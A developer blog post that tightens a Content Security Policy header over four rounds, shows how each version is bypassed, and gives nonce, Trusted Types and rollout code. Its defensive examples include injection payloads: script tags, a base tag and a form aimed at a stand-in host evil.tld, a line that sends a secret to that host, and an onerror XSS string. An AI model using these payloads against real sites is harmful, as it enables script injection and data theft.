DevLift
Back to Blog

Content Security Policy, Broken Four Times

The British Airways skimmer sat in a first-party file, so no host allowlist, no 'self' and no nonce would have stopped it — here is one CSP header tightened four times, broken after each round against the CSP Level 3 matching algorithms, until only the directive nobody writes first is left holding.

Admin
August 11, 202612 min read74 views
Content Security Policy, Broken Four Times

Content Security Policy, Broken Four Times

Almost every retelling of the 2018 British Airways breach gets one detail wrong, and the wrong detail is the one that matters.

The version you have heard: attackers compromised a third-party script, the browser loaded it, 380,000 cards walked out the door. The lesson you are supposed to draw is "stop trusting third-party CDNs."

Here is what RiskIQ actually found when they diffed British Airways' own crawl history. The modified file was Modernizr 2.6.2. They identified it by comparing the Last-Modified header sent by the British Airways server — the clean copy was stamped December 2012, the tampered copy was stamped a few days before the skimming started. The file was first-party. It was sitting on britishairways.com. Twenty-two lines were appended to the bottom, which bound mouseup and touchend on the payment button, serialised the payment form, and sent it as JSON to a server on baways.com.

That kills three policies you were probably about to write. A host allowlist containing your own domain: useless, the file was on your own domain. script-src 'self': same. A nonce on every script tag: useless, you would have nonced this one yourself. Every script-loading control CSP has would have waved that file through.

One directive would have caught it, and it is not the one anyone writes first.

What follows is a single policy, tightened four times, broken after each round. To keep myself honest I implemented the matching algorithms from CSP Level 3 — §6.7.2.8 through §6.7.2.12 for URL matching, §6.7.3.2 and §6.7.3.3 for inline and element matching, plus the default-src expansion table from §6.1.3 — and checked it against the six worked examples the spec prints in §6.7.3.2. Every allowed/blocked verdict below is that evaluator's output, not my recollection.

Round one: the allowlist

This is the policy most teams write on their first afternoon. Open the network tab, list the domains, paste them in.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://www.google-analytics.com

Two things break it, neither exotic.

A public CDN is an open script host. jsDelivr serves any file from any published npm package and any GitHub tag. Publish totally-normal-utils, wait for the mirror, then inject anywhere on the page:

<script src="https://cdn.jsdelivr.net/npm/totally-normal-utils@1.0.0/dist/index.js"></script>

My evaluator: allowed: true, matched https://cdn.jsdelivr.net. The policy checked the host and stopped there. Host-source expressions have no opinion about paths unless you write one.

A JSONP endpoint on any allowlisted host is arbitrary code execution. Google's CSP team documented this precisely in CSP Is Dead, Long Live CSP! (Weichselbaum, Spagnuolo, Lekies, Janc — CCS 2016). Their example:

<script src="/path/jsonp?callback=alert(document.domain)//"></script>

The server echoes the callback name into the response body, and you get alert(document.domain);//{"var": "data", ...}). The paper's numbers, from 26,011 unique policies across 1.68 million hosts: 94.72% were trivially bypassable, 14 of the 15 most-commonly-allowlisted script hosts contained an unsafe endpoint, and at the median allowlist length of 12 entries they broke 94.8% of policies.

One more thing that bites first-time allowlists: there is no implicit subdomain wildcard. https://google-analytics.com does not match https://www.google-analytics.com/analytics.js; §6.7.2.10 is an exact string comparison unless the pattern starts with *.. Half the "CSP broke my analytics" tickets are this.

⚠️
Do not fix an allowlist by adding paths. §6.7.2.12 honours path-parts, but one ending in / matches every file underneath it, and redirects skip the path check entirely (§6.7.2.8 only compares the path when redirect count is 0). Long allowlists are exactly what the Google paper measured, and they lost.

Round two: nonces

Drop the hosts. Annotate each script you meant to load instead.

Content-Security-Policy: default-src 'self'; script-src 'nonce-aYgfFJkQ43KRPYlFG8e-WQ'
<script nonce="aYgfFJkQ43KRPYlFG8e-WQ" src="/js/app.js"></script>

Now a host being allowlisted means nothing. An injected script tag has no nonce, so it does not run, and the attacker cannot guess a 128-bit value that changes every response.

Get one thing straight here, because it is the most-inverted fact in CSP writing: 'unsafe-inline' is ignored when a nonce or hash is present. §6.7.3.2 walks the source list and, if any expression matches the nonce-source or hash-source grammar, returns "Does Not Allow" before it ever looks at 'unsafe-inline'. The spec prints http://example.com 'unsafe-inline' 'nonce-abc' as a worked example of a list that does not allow inline behaviour. 'unsafe-inline' next to a nonce is backwards-compatibility ballast. 'unsafe-inline' alone is the hole.

Two things break this policy.

A <base> tag steals the nonce's meaning. Spec §7.3, "Nonce Retargeting". On https://example.com/, this loads your file:

<script nonce=abc src=/good.js></script>

And this loads the attacker's:

<base href="https://evil.tld">
<script nonce=abc src=/good.js></script>

The nonce still matches. The relative URL now resolves somewhere else. An HTML injection that can only add a <base> element — no script tag needed — turns every relative-src script on your page into an attacker-controlled load.

<object> and <embed> are not scripts, but they run code. default-src 'self' does cover object-src, so one same-origin upload endpoint serving user content is enough. Making it explicit costs nothing.

Round three: strict-dynamic

Nonces alone also break real applications: Webpack and the Next.js router create script elements at runtime for lazy chunks, and those elements never get your nonce. So:

Content-Security-Policy: default-src 'self'; script-src 'nonce-aYgfFJkQ43KRPYlFG8e-WQ' 'strict-dynamic'; object-src 'none'; base-uri 'none'

This is the shape you will find in most CSP posts. It is a genuine improvement, and it is still bypassable in three ways.

'strict-dynamic' does not track provenance. The usual explanation — "if a trusted script creates another script, the new one inherits the trust" — is not what the spec implements. §6.7.3.3 says: if expression is the 'strict-dynamic' keyword-source: if type is "script", and element is not parser-inserted, return "Matches". One boolean, read off the element. Nothing asks which code created it.

Same attacker URL, twice, against the policy above:

<script src=https://evil.tld/x.js>  parser-inserted     -> blocked
<script src=https://evil.tld/x.js>  createElement path  -> ALLOWED
                                       ('strict-dynamic': element is not parser-inserted)

So any sink ending in document.createElement('script') with an attacker-influenced src is a full bypass — a script gadget in an old jQuery plugin, a tag manager building URLs from a query parameter, a lazy-loader keyed off location.hash. §8.2's note is blunt about it: "If the location of such a script can be controlled by an attacker, the policy will then allow the loading of arbitrary scripts." And §8.5, which defines Strict CSP, adds: "While 'strict-dynamic' allows ease of deployment, it should be avoided when possible."

'self' becomes inert and nobody tells you. §8.2 again: under 'strict-dynamic', host-sources, scheme-sources, 'unsafe-inline' and 'self' are all ignored for script. So in script-src 'self' 'nonce-abc' 'strict-dynamic' — a policy you will meet again in a minute — the 'self' does nothing at all. If you added it expecting "at minimum my own origin still works," that mental model will produce a wrong decision later.

And the big one: three of the four directives that decide this policy's fate do not fall back to default-src at all. Round three writes out object-src and base-uri and stops; form-action and frame-ancestors are missing, and no amount of default-src 'self' reaches any of the three non-fetch ones. §6.1.3 prints the expansion set explicitly, and it is connect-src, font-src, frame-src, img-src, manifest-src, media-src, object-src, script-src-elem, script-src-attr, style-src-elem, style-src-attr, worker-src. Twelve entries, and the list ends there. base-uri, form-action, frame-ancestors, sandbox and the reporting directives are not fetch directives and inherit nothing.

Rendering diagram...

Run the round-three policy through the evaluator and the gap is not subtle:

form-action     declared? false  -> governed by: NOTHING
frame-ancestors declared? false  -> governed by: NOTHING
 
injected <form action="https://evil.tld/collect">  -> ALLOWED
page framed by https://evil.tld                    -> ALLOWED

So an injection that cannot get a script to run can still drop a form pointing at an attacker's server, or a dangling-markup payload that swallows the rest of the document into a form field. And the page can be framed, which is the whole clickjacking family. The pieces missing here are precisely the ones default-src cannot supply.

Round four: the one that holds

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-aYgfFJkQ43KRPYlFG8e-WQ' 'strict-dynamic' https: 'unsafe-inline';
  object-src 'none';
  base-uri 'none';
  form-action 'self';
  frame-ancestors 'none';
  connect-src 'self' https://api.yoursite.com;
  report-to csp-endpoint;
  report-uri https://csp.yoursite.com/report

What changed, and why each line is there:

form-action 'self' and frame-ancestors 'none' close round three's gap. Neither has a fallback, so both must be written out.

https: 'unsafe-inline' in script-src is the backwards-compatibility ladder from §8.2, and it costs nothing. A CSP3 browser ignores both (nonce present, 'strict-dynamic' present). A CSP2 browser ignores 'strict-dynamic' and 'unsafe-inline', enforcing the nonce plus https:. A CSP1 browser enforces 'unsafe-inline' https:. Degradation without user-agent sniffing.

connect-src is spelled out rather than left to default-src, because it is the directive that decides where data can go, and §8.6 makes the rule explicit: "A policy's exfiltration mitigation ability depends upon the least-restrictive directive allowlist." One img-src * elsewhere in the policy and the exfiltration story is over.

Both reporting directives, because report-uri is deprecated in favour of report-to (§6.5.1) but Chromium is where report-to support actually lives. The spec is unambiguous about the interaction — "The report-uri directive is deprecated. Please use the report-to directive instead. If the latter directive is present, this directive will be ignored" — and then tells you to ship both anyway. Do that, and Chromium honours one while everything else honours the other.

This is the policy I would deploy. It is also not a solved problem:

  • A compromised first-party bundle — the British Airways case, which nothing in script-src will ever catch.
  • eval. 'unsafe-eval' is honoured independently of 'strict-dynamic', so leaving it in production makes the round-three bypass much cheaper.
  • Navigation. location = 'https://evil.tld/?d=' + secret is governed by no CSP directive at all.
  • DOM XSS inside a script you legitimately nonced. That needs a different mechanism.

Where the nonce comes from

A nonce that repeats is not a nonce. Two ways to get that wrong: generate it once at boot, or generate it per request and then serve the page from a cache.

I ran the Express version rather than eyeballing it — helmet@8.3.0, express@5.2.1, Node 22:

import express from "express";
import helmet from "helmet";
import { randomBytes } from "crypto";
 
const app = express();
 
app.use((req, res, next) => {
  res.locals.cspNonce = randomBytes(16).toString("base64");
  next();
});
 
app.use(
  helmet.contentSecurityPolicy({
    useDefaults: true,
    directives: {
      "default-src": ["'self'"],
      "script-src": [
        (req, res) => `'nonce-${(res as express.Response).locals.cspNonce}'`,
        "'strict-dynamic'",
        "https:",
        "'unsafe-inline'",
      ],
      "object-src": ["'none'"],
      "base-uri": ["'none'"],
      "form-action": ["'self'"],
      "frame-ancestors": ["'none'"],
    },
  }),
);
 
app.get("/", (req, res) => {
  res.render("index", { cspNonce: res.locals.cspNonce });
});

Two consecutive responses, verbatim from the wire:

script-src 'nonce-cYhO2CkdgH8Wwy5vKBIF/g==' 'strict-dynamic' https: 'unsafe-inline'
script-src 'nonce-8zMfCoUj6kzCfReG2z6Peg==' 'strict-dynamic' https: 'unsafe-inline'

Fresh per response, and 16 bytes is 128 bits. randomBytes is a CSPRNG; Math.random() is not, and a nonce derived from a timestamp or a session id is decorative.

⚠️
useDefaults: true writes directives you did not. Alongside the four the snippet declares, the header helmet emitted contained script-src-attr 'none', font-src 'self' https: data:, img-src 'self' data:, upgrade-insecure-requests and — read this one twice — style-src 'self' https: 'unsafe-inline'. Nothing in the snippet asked for that last one, and it will happily load a stylesheet from any HTTPS host on the internet. Print your own header before you ship it.

Next.js is where the caching trap lives. On Next 16 this file is proxy.ts (middleware.ts still works, but the docs moved):

// proxy.ts
import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";
 
export function proxy(request: NextRequest) {
  const pageNonce = Buffer.from(crypto.randomUUID()).toString("base64");
  const isDev = process.env.NODE_ENV === "development";
 
  const policy = `
    default-src 'self';
    script-src 'self' 'nonce-${pageNonce}' 'strict-dynamic'${isDev ? " 'unsafe-eval'" : ""};
    style-src 'self' ${isDev ? "'unsafe-inline'" : `'nonce-${pageNonce}'`};
    img-src 'self' blob: data:;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  `
    .replace(/\s{2,}/g, " ")
    .trim();
 
  const requestHeaders = new Headers(request.headers);
  requestHeaders.set("x-nonce", pageNonce);
  // Not optional. This is the header Next.js parses to find the nonce.
  requestHeaders.set("Content-Security-Policy", policy);
 
  const response = NextResponse.next({ request: { headers: requestHeaders } });
  response.headers.set("Content-Security-Policy", policy);
  return response;
}
 
export const config = {
  matcher: [
    {
      source: "/((?!api|_next/static|_next/image|favicon.ico).*)",
      missing: [
        { type: "header", key: "next-router-prefetch" },
        { type: "header", key: "purpose", value: "prefetch" },
      ],
    },
  ],
};

Three things here are easy to get wrong.

The x-nonce header is for your code, read via headers() when you need to hand a nonce to a <Script> component. It is not how the framework finds the nonce. Next's docs describe the real mechanism: "During rendering, Next.js parses the Content-Security-Policy header and extracts the nonce using the 'nonce-{value}' pattern." It reads that off the request headers. Delete the requestHeaders.set("Content-Security-Policy", ...) line because it looks redundant next to the response header, and every framework script ships without a nonce.

Nonces force dynamic rendering. Same docs: "you must use dynamic rendering to add nonces" — static pages are generated at build time, when there is no request to derive a nonce from. Static optimisation, ISR, CDN caching and Partial Prerendering are all incompatible. That failure is at least loud: fresh nonce in the header, stale or absent nonce in the cached HTML, page dies with every script blocked. The one to actually fear is a cache in front of Next that stores the HTML and its header together and serves one visitor's nonce to everyone for the length of the TTL. At that point the nonce is public and the policy is theatre. If a page needs a nonce, await connection() in it.

Both isDev branches earn their keep. React uses eval in development to reconstruct server-side error stacks in the browser, so 'unsafe-eval' is required for next dev and must not survive into production. Same for 'unsafe-inline' on styles — adding a nonce to style-src means 'unsafe-inline' is ignored there too (§6.7.3.2 does not care which directive it sits in), which blocks every inline style="..." attribute in your server-rendered HTML.

The mechanism for the last bullet

The one thing round four cannot reach is DOM XSS inside a script you trusted. innerHTML = userInput is your code, running with your nonce.

Trusted Types works by making the sink refuse strings. With require-trusted-types-for 'script' in the policy, assigning a raw string to innerHTML, eval or document.write throws a TypeError; the sink accepts only a TrustedHTML object, and the only way to mint one is through a policy you registered.

1

Add both directives, not just one

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types app-sanitizer

require-trusted-types-for turns the sinks on. trusted-types allowlists which policy names may be created. Without the second directive any name can be registered, including one an attacker registers to launder their own string.

2

Keep the object createPolicy hands back

import DOMPurify from "dompurify";
 
const appSanitizer =
  window.trustedTypes && window.trustedTypes.createPolicy
    ? window.trustedTypes.createPolicy("app-sanitizer", {
        createHTML: (input) => DOMPurify.sanitize(input),
      })
    : null;

There is no trustedTypes.getPolicy(). The factory exposes createPolicy, defaultPolicy, emptyHTML, emptyScript, getAttributeType, getPropertyType, isHTML, isScript and isScriptURL, and that is the complete list on MDN. Hold onto the return value or you cannot get it back.

3

Route every assignment through it

const target = document.getElementById("profile");
 
// TypeError under require-trusted-types-for 'script'
target.innerHTML = "<img src=x onerror=alert(1)>";
 
// Accepted, and DOMPurify has already stripped the handler
target.innerHTML = appSanitizer.createHTML("<img src=x onerror=alert(1)>");

Delete the null check in step 2 and the page breaks in browsers people are still using, because support is newer than most write-ups admit. MDN's browser-compat data: Chrome 83, Firefox 148, Safari 26, with MDN marking the feature Baseline "newly available" as of February 2026. For most of its life this was Chromium-only. Deploy it report-only first and keep the fallback path.

Getting there without taking the site down

Content-Security-Policy-Report-Only evaluates the policy and reports violations without blocking. Ship round four that way, point report-to and report-uri at a sink, leave it a few weeks. You will find browser extensions injecting scripts, a tracking pixel nobody remembers adding, and — if you are unlucky and paying attention — something that is not yours.

Then paste the policy into Google's CSP Evaluator, built by the authors of the paper above, which flags the allowlist and fallback problems from rounds one and three. And confirm the header is actually leaving your server, past whatever proxy sits in front:

curl -sD - -o /dev/null http://localhost:3000/ | grep -i content-security-policy

Use -D - rather than -I; a HEAD request can take a different code path than the GET your users make, and the header is set on the response your framework renders.

A page ships script-src 'nonce-abc' 'strict-dynamic'. An attacker can inject HTML but cannot guess the nonce. Which injection still executes attacker-controlled JavaScript?

Back to the Modernizr file

Walk the four rounds against British Airways and every one gives the same answer: the skimmer was appended to a first-party file the page was always going to load. script-src had no way to know. Neither did SRI, incidentally — you can pin a byte hash on a library you vendored, but the vendor SDKs people reach for SRI to protect are versionless URLs that mutate by design, and under 'strict-dynamic' an integrity attribute covers nothing the script then goes on to pull in.

What would have caught it is the line most policies leave to default-src and never think about again. The skimmer sent its JSON to baways.com. connect-src 'self' https://api.yoursite.com blocks that request and puts blocked-uri: https://baways.com in your report sink on the first transaction, twenty-two lines of appended JavaScript notwithstanding.

CSP is usually taught as a way to control which code runs. That framing keeps failing — round one to an open CDN, round three to a gadget, British Airways to a file that was always allowed to run. The half of CSP that survives all three is the half that controls where data is permitted to go, and it is the half that gets one line at the bottom of the header, if it gets one at all.

Which is not quite the same as saying connect-src would have saved British Airways. It converts a silent theft into a blocked-uri line arriving on the first transaction, and then somebody has to be reading the sink that line lands in. A header that turns an invisible breach into a noisy one is worth the line it costs. It is not, on its own, a control.

Comments (0)

No comments yet. Be the first to share your thoughts!

Related Articles

How JWT Works: Tokens, Claims, and Signatures
Take a JSON Web Token apart segment by segment, build a signer and verifier with nothing but node:crypto, then run the alg:none and RS256-to-HS256 key-confusion attacks against both your own code and jose@6.2.8 to see exactly which one still forges an admin token.
AdminAugust 6, 202611 min read
Prisma 7 eliminated the Rust binary and closed the performance gap. So why are teams still choosing Drizzle? The real answer is about SQL transparency, bundle size, and who owns complexity.
AdminAugust 5, 202610 min read
Client-side validation is UX. Server-side validation is security. And a schema is not an auth guard — here's the fix that still ships an account takeover, and how to catch it in review.
AdminAugust 5, 20269 min read